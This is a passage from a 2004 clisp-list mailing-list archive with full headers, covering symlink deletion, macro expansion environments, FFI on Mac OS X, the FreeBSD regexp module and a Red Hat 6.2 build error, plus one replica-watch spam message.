X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Any Clispy way to delete a symlink to a directory? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 12 16:41:15 2004 X-Original-Date: Fri, 12 Nov 2004 19:36:24 -0500 Hello, Under Clisp 2.33.2 on GNU/Linux and NetBSD (both x86), when one has a symlink to a directory, neither delete-file nor delete-dir works on the symlink: delete-file signals an error that the link is a directory and delete-dir signals an error that the link isn't a directory. Is there any way to do this, short of resorting to ffi or shelling out to "rm"? Nothing jumps out at me in the impnotes. Thanks in advance, Richard From Joerg-Cyril.Hoehle@t-systems.com Mon Nov 15 09:13:18 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CTkPl-0005rA-T3 for clisp-list@lists.sourceforge.net; Mon, 15 Nov 2004 09:13:17 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CTkPj-0003r1-03 for clisp-list@lists.sourceforge.net; Mon, 15 Nov 2004 09:13:16 -0800 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 15 Nov 2004 18:12:06 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 15 Nov 2004 18:12:20 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03022F1058@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] macrolet walker? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 15 09:14:02 2004 X-Original-Date: Mon, 15 Nov 2004 18:12:18 +0100 Hi, >>>>>> "Sam" == Sam Steingold wrote in 2002: > Sam> (sys::%expand-form '(macrolet ((bar (x) `(print ,x))) > Sam> would it be useful to export this as, say EXT:EXPAND-FORM CLISP exports it by now but I wonder how it can be generally useful since it does not take an &environment argument. As a result, only top-level forms can be processed correctly with it?!? What are (exportable) means to walk code correctly handling lexical context? Typically one uses (defmacro my-macro (&body body &environment env) (expand-form-respecting body env)) BTW, the impnotes on ext:expand-form is unclear to me. Does it mean that it expects to be called with (macrolet ...) or (symbol-macrolet ...) at the top of the expression sexp to do anything? It also appears to expand top-level macros, e.g. (ext:expand-form '(loop repeat 2)) Regards, Jorg Hohle From sds@gnu.org Mon Nov 15 12:22:32 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CTnMs-0000tn-V6 for clisp-list@lists.sourceforge.net; Mon, 15 Nov 2004 12:22:30 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CTnMp-0003z4-Et for clisp-list@lists.sourceforge.net; Mon, 15 Nov 2004 12:22:30 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iAFKMBAq009027; Mon, 15 Nov 2004 15:22:11 -0500 (EST) To: clisp-list@lists.sourceforge.net, Richard M Kreuter Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-devel@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <87654ay48n.fsf@daystrom.localdomain> (Richard M. Kreuter's message of "Fri, 12 Nov 2004 19:36:24 -0500") References: <87654ay48n.fsf@daystrom.localdomain> Mail-Followup-To: clisp-list@lists.sourceforge.net, Richard M Kreuter , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: Any Clispy way to delete a symlink to a directory? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 15 12:23:03 2004 X-Original-Date: Mon, 15 Nov 2004 15:22:11 -0500 > * Richard M Kreuter [2004-11-12 19:36:24 -0500]: > > Under Clisp 2.33.2 on GNU/Linux and NetBSD (both x86), when one has a > symlink to a directory, neither delete-file nor delete-dir works on > the symlink: delete-file signals an error that the link is a directory > and delete-dir signals an error that the link isn't a directory. indeed, DELETE-FILE should work on such a symbolic link. it does not because assure_dir_exists() tries to resolve all symlinks in an attempt to prevent deleting open files. I am not sure how this should be fixed - short of a complete rewrite of pathname.d :-( Reply-to set to clisp-devel (subscriber-only). PS. I would argue that DELETE-FILE and PROBE-FILE should work on directories as well - on the premise that "it's better to have one function that works on 100 datatypes than 10 functions that work on 10 datatypes" - and DELETE-DIR and PROBE-DIRECTORY should be removed, but this is an old controversy... one benefit is that it would be crystal clear what function should handle a symlink to a directory :-) -- Sam Steingold (http://www.podval.org/~sds) running w2k Shady characters are often very bright. From lisp-clisp-list@m.gmane.org Wed Nov 17 09:11:11 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CUTKp-0002st-G2 for clisp-list@lists.sourceforge.net; Wed, 17 Nov 2004 09:11:11 -0800 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CUTKo-00064R-Lb for clisp-list@lists.sourceforge.net; Wed, 17 Nov 2004 09:11:11 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CUTKl-0000o9-00 for ; Wed, 17 Nov 2004 18:11:08 +0100 Received: from 66-65-180-99.nyc.rr.com ([66.65.180.99]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 17 Nov 2004 18:11:07 +0100 Received: from ktilton by 66-65-180-99.nyc.rr.com with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 17 Nov 2004 18:11:07 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Kenny Tilton Lines: 9 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 66.65.180.99 (Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] CLisp FFI on Mac OS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 17 09:12:01 2004 X-Original-Date: Wed, 17 Nov 2004 17:06:28 +0000 (UTC) Puzzled. I installed clisp via link. \sw\bin\clisp starts up clisp fine. But I see no FFI package. On win32 I have to do \clisp\lisp -M lispinit.mem -B \clisp Have I missed some incantation in starting clisp? Kinda need that FFI package. kenny From sds@gnu.org Wed Nov 17 09:23:19 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CUTWY-00045v-MI for clisp-list@lists.sourceforge.net; Wed, 17 Nov 2004 09:23:18 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CUTWX-0006DF-IY for clisp-list@lists.sourceforge.net; Wed, 17 Nov 2004 09:23:18 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iAHHM5hA026968; Wed, 17 Nov 2004 12:22:05 -0500 (EST) To: clisp-list@lists.sourceforge.net, Kenny Tilton Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Kenny Tilton's message of "Wed, 17 Nov 2004 17:06:28 +0000 (UTC)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Kenny Tilton , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: CLisp FFI on Mac OS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 17 09:24:01 2004 X-Original-Date: Wed, 17 Nov 2004 12:22:05 -0500 > * Kenny Tilton [2004-11-17 17:06:28 +0000]: > > Puzzled. I installed clisp via link. \sw\bin\clisp starts up clisp > fine. But I see no FFI package. clisp/unix/PLATROFMS in the source distribution says: FFI does not work yet, you will have to ignore the "avcall-*.h" errors in ./configure or run './configure --without-dynamic-ffi'. would you like to work on it? -- Sam Steingold (http://www.podval.org/~sds) running w2k Single tasking: Just Say No. From ktilton@nyc.rr.com Wed Nov 17 09:35:45 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CUTib-0004mb-2a for clisp-list@lists.sourceforge.net; Wed, 17 Nov 2004 09:35:45 -0800 Received: from ms-smtp-03-smtplb.rdc-nyc.rr.com ([24.29.109.7] helo=ms-smtp-03.rdc-nyc.rr.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CUTia-0000fO-7s for clisp-list@lists.sourceforge.net; Wed, 17 Nov 2004 09:35:44 -0800 Received: from [66.65.180.99] (66-65-180-99.nyc.rr.com [66.65.180.99]) by ms-smtp-03.rdc-nyc.rr.com (8.12.10/8.12.7) with ESMTP id iAHHYt20006520 for ; Wed, 17 Nov 2004 12:34:55 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <10CCFFF2-38BF-11D9-B6CD-000D936D1552@nyc.rr.com> Content-Transfer-Encoding: 7bit From: Kenneth Tilton To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.619) X-Virus-Scanned: Symantec AntiVirus Scan Engine X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: CLisp FFI on Mac OS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 17 09:36:01 2004 X-Original-Date: Wed, 17 Nov 2004 12:35:25 -0500 On Nov 17, 2004, at 12:22 PM, Sam Steingold wrote: >> * Kenny Tilton [2004-11-17 17:06:28 +0000]: >> >> Puzzled. I installed clisp via link. \sw\bin\clisp starts up clisp >> fine. But I see no FFI package. > > clisp/unix/PLATROFMS in the source distribution says: > > FFI does not work yet, you will have to ignore the "avcall-*.h" errors > in ./configure or run './configure --without-dynamic-ffi'. > > would you like to work on it? Thx for the quick response. I was actually asking on behalf of someone else. Kinda. What happened was that someone sent me out of the blue a CLisp integration of GTk2 with my Cells project. It runs on win32 and linux. I have been shifting all my open source stuff to OS X, so I thought I would install CLisp and GTk to see if it would Just Work. Well, GTk is fairly popular. Maybe this will give CLisp/OS X fans a push to help with the FFI. cheers, kenny From lisp-clisp-list@m.gmane.org Wed Nov 17 09:50:25 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CUTwn-0005aT-MA for clisp-list@lists.sourceforge.net; Wed, 17 Nov 2004 09:50:25 -0800 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CUTwm-0002cO-RK for clisp-list@lists.sourceforge.net; Wed, 17 Nov 2004 09:50:25 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CUTwl-0003uA-00 for ; Wed, 17 Nov 2004 18:50:23 +0100 Received: from pd9e3d7f7.dip.t-dialin.net ([217.227.215.247]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 17 Nov 2004 18:50:23 +0100 Received: from cpohlmann01 by pd9e3d7f7.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 17 Nov 2004 18:50:23 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Christian Pohlmann Lines: 8 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: pd9e3d7f7.dip.t-dialin.net User-Agent: Pan/0.14.2 (This is not a psychotic episode. It's a cleansing moment of clarity.) X-Spam-Score: 1.4 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] clisp on FreeBSD w/ regexp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 17 09:51:07 2004 X-Original-Date: Wed, 17 Nov 2004 18:43:06 +0100 Hello, I am still a lisp newbie running FreeBSD 5.3. I want to use clisp with its built-in regexp module. Since I don't want to use the ports collection I had a look at the makefile and encountered that it configures with "--with-module=regexp". Great I thought and installed the package. But when running clisp I'm looking for :regexp in *features* in vain. From sds@gnu.org Wed Nov 17 09:56:49 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CUU2y-00068N-Kc for clisp-list@lists.sourceforge.net; Wed, 17 Nov 2004 09:56:48 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CUU2v-00021o-PT for clisp-list@lists.sourceforge.net; Wed, 17 Nov 2004 09:56:48 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iAHHubhA007758; Wed, 17 Nov 2004 12:56:37 -0500 (EST) To: clisp-list@lists.sourceforge.net, Christian Pohlmann Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Christian Pohlmann's message of "Wed, 17 Nov 2004 18:43:06 +0100") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Christian Pohlmann Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 1.1 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email Subject: [clisp-list] Re: clisp on FreeBSD w/ regexp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 17 09:57:07 2004 X-Original-Date: Wed, 17 Nov 2004 12:56:37 -0500 > * Christian Pohlmann [2004-11-17 18:43:06 +0100]: > > I am still a lisp newbie running FreeBSD 5.3. I want to use clisp with > its built-in regexp module. Since I don't want to use the ports > collection I had a look at the makefile and encountered that it > configures with "--with-module=regexp". Great I thought and installed > the package. But when running clisp I'm looking for :regexp in > *features* in vain. -- Sam Steingold (http://www.podval.org/~sds) running w2k There's always free cheese in a mouse trap. From lisp-clisp-list@m.gmane.org Wed Nov 17 11:25:26 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CUVQk-00046S-Kj for clisp-list@lists.sourceforge.net; Wed, 17 Nov 2004 11:25:26 -0800 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CUVQh-0004Ab-R5 for clisp-list@lists.sourceforge.net; Wed, 17 Nov 2004 11:25:26 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CUVQf-0003CW-00 for ; Wed, 17 Nov 2004 20:25:21 +0100 Received: from pd9e3d7f7.dip.t-dialin.net ([217.227.215.247]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 17 Nov 2004 20:25:21 +0100 Received: from cpohlmann01 by pd9e3d7f7.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 17 Nov 2004 20:25:21 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Christian Pohlmann Lines: 6 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: pd9e3d7f7.dip.t-dialin.net User-Agent: Pan/0.14.2 (This is not a psychotic episode. It's a cleansing moment of clarity.) X-Spam-Score: 1.4 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Re: clisp on FreeBSD w/ regexp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 17 11:26:54 2004 X-Original-Date: Wed, 17 Nov 2004 20:26:06 +0100 On Wed, 17 Nov 2004 12:56:37 -0500, Sam Steingold wrote: > Thanks, that did the job. From rshearn@jeffersonhunt.co.uk Wed Nov 17 14:36:04 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CUYPE-0001tn-9O for clisp-list@lists.sourceforge.net; Wed, 17 Nov 2004 14:36:04 -0800 Received: from [200.113.130.246] (helo=connected.bc.ca) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1CUYP7-0005US-P4 for clisp-list@lists.sourceforge.net; Wed, 17 Nov 2004 14:36:04 -0800 Received: from 53.81.117.213 by smtp.jeffersonhunt.co.uk; Wed, 17 Nov 2004 22:36:04 +0000 Message-ID: <650b01c4ccf5$4c2da962$b2cbe763@connected.bc.ca> From: "Wilbert R. Shea" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.1 SAVE_UP_TO BODY: Save Up To Subject: [clisp-list] Italian Crafted Rolex from $75 to $275 - Free Shipping Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 17 14:37:00 2004 X-Original-Date: Wed, 17 Nov 2004 21:35:53 -0100 Heya, Do you want a rolex watch? In our online store you can buy replicas of Rolex watches. They look and feel exactly like the real thing. - We have 20+ different brands in our selection - Free shipping if you order 5 or more - Save up to 40% compared to the cost of other replicas - Standard Features: - Screw-in crown - Unidirectional turning bezel where appropriate - All the appropriate rolex logos, on crown and dial - Heavy weight Visit us: http://www.icors.com/rep/rolex/ Best regards, Hilton Jones No thanks: http://www.icors.com/z.php From don-test-204@isis.cs3-inc.com Thu Nov 18 10:16:47 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CUqpr-00017O-Fa for clisp-list@lists.sourceforge.net; Thu, 18 Nov 2004 10:16:47 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CUqpq-0001g4-It for clisp-list@lists.sourceforge.net; Thu, 18 Nov 2004 10:16:47 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id iAIIAEI23849 for clisp-list@lists.sourceforge.net; Thu, 18 Nov 2004 10:10:14 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-test-204 using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-test-204@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16796.58757.842164.837065@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net References: <20041118041019.C43621D27F7@sc8-sf-uberspam1.sourceforge.net> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] versions of OS for which various versions of clisp build Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 18 10:17:15 2004 X-Original-Date: Thu, 18 Nov 2004 10:10:13 -0800 I downloaded 2.33.1 to a redhat 6.2 linux and got an error building. I was about to send a message asking what to do about it when it occurred to me to try in a newer version. It seems to be working in redhat 8. My new request is that the install instructions should mention this as a potential problem and refer to a web page on which is recorded versions of clisp/OS that do and don't build, preferably including various configuration options, and perhaps the errors that occur in the incompatible cases. I offer the following data point ... gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -c lisparit.c In file included from lisparit.d:8: lispbibl.d:7345: warning: register used for two global register variables In file included from lisparit.d:28: arilev1.d:182: `DS' redeclared as different kind of symbol /usr/include/sys/ucontext.h:53: previous declaration of `DS' make: *** [lisparit.o] Error 1 I see that the ucontext file named above contains DS whereas in redhat 8 it contains REG_DS. From don-test-204@isis.cs3-inc.com Thu Nov 18 15:14:49 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by 